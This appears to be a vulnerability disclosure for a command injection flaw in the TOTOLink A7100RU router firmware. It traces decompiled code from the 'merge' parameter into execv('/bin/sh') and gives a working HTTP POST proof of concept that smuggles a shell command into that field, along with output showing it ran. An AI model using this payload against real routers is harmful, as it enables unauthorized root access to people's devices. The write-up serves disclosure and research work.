

main IOT_vuln / TOTOLink / A7100RU / 9 /

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TOTOLink A7100RU Command injection vulnerability

Overview

- Manufacturer's website information: <http://totolink.net/>
- Firmware download address :
http://totolink.net/home/menu/detail/menu_listtpl/download/id/185/ids/36.html

1. Affected version





A7100RU				
Overview Tech Specs HD Image Download FAQ				
NO	Name	Version	Updated	Download
1	A7100RU_HD PHOTO	Ver1.0	2019-05-07	
2	A7100RU_Datasheet	Ver1.0	2020-08-07	
3	A7100RU_Firmware	V7.4cu.2313_B20191024	2020-08-09	
4	A7100RU_QIG	Ver1.0	2020-08-09	

Figure 1 shows the latest firmware Ba of the router

2.Vulnerability details

```

12
13 v2 = websGetVar(a1, "merge", "0");
14 Uci_Set_Str(12, "main", "merge_easy", v2);
15 v3 = websGetVar(a1, "wifiOff5g", "0");
16 Uci_Set_Str(17, "rai0", "disabled", v3);
17 if ( !atoi(v3) )

```

The program passes the content obtained by the merge parameter to V2, and then brings V2 into UCI_Set_In str function

```

184     else
185         v9 = "Unknown ID";
186     break;
187 }
188 snprintf(v11, 1024, "uci set -c %s %s.%s.%s=\"%s\"", v8, v9, a2, a3, a4);
189 CsteSystem(v11, 0);
190 return 1;
191}

```

Format the A4 matched content into V11 through sprintf function, and then bring V11 into cstesystem function

```

7   {
8       v6[2] = (int)a1;
9       v6[3] = 0;
0       v6[0] = (int)&off_ABA4;
1       v6[1] = (int)&off_ABA8;
2       if ( a2 )
3           printf("[system]: %s\r\n", a1);
4       execv("/bin/sh", v6);
5       exit(127);
6       result = eval();
7   }

```

The function directly brings user input into the `execv` function, which has a command injection vulnerability

3.Recurring vulnerabilities and POC

In order to reproduce the vulnerability, the following steps can be followed:

1. Use the fat simulation firmware V7.4cu.2313_B20191024
2. Attack with the following overflow POC attacks

```

POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Content-Length: 79
Accept: */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/87.0.4280.66 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.1
Referer: http://192.168.0.1/adm/status.asp?timestamp=1647872753309
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: SESSION_ID=2:1647872744:2
Connection: close

{"topicurl":"setting/setWiFiAdvancedCfg",
"merge":"1$(ls>/tmp/123;)" }

```

The reproduction results are as follows:

```
RLX Linux version 2.0

RLX Linux

For further information check:
http://processor.realtek.com/
[# cat /tmp/123
123
bridge_init
dns_urlfilter_conf
firewall_igd
fwinfo
lock
log
port_status
preNtpConnectTime
update_flag
usb
wanlink
wanranchocontime
wscd_status
#
```

Figure 2 POC attack effect

Finally, you can write exp, which can achieve a very stable effect of obtaining the root shell

